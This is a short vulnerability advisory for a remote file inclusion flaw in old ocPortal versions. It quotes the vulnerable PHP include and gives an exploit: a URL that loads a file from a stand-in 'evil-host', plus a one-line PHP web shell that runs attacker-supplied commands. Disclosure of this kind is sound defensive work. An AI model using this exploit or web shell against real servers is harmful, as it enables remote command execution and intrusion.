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ocPortal File Inclusion Vulnerability
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SUMMARY
<http://ocportal.com> ocPortal is "the leader in community CMS and portal
software for the web". A file inclusion vulnerability exists in the
product allowing a remote attacker to insert PHP commands to the page
being displayed by ocPortal and in addition cause them to execute.
DETAILS
Vulnerable Systems:
* ocPortal version 1.0.3 and prior
Immune Systems:
* ocPortal version 2.x.x
The vulnerability exists in the index.php file because there isn't any
proper checking of the value provided by the $req_path variable.
Vulnerable code:
if (!isset($req_path)) $req_path="";
require_once($req_path."funcs.php");
Exploit:
By accessing the following URL:
http://localhost/ocp-103/index.php?req_path=http://evil-host/&com=ls and
placing on the evil-host computer a file named funcs.php containing:
<?php
$com = $_GET["com"];
system ("$com");
?>
Will cause the command 'ls' to execute, and its results to return to the
user requesting the URL.
ADDITIONAL INFORMATION
The information has been provided by <mailto:exoduks@gmail.com> Exoduks.
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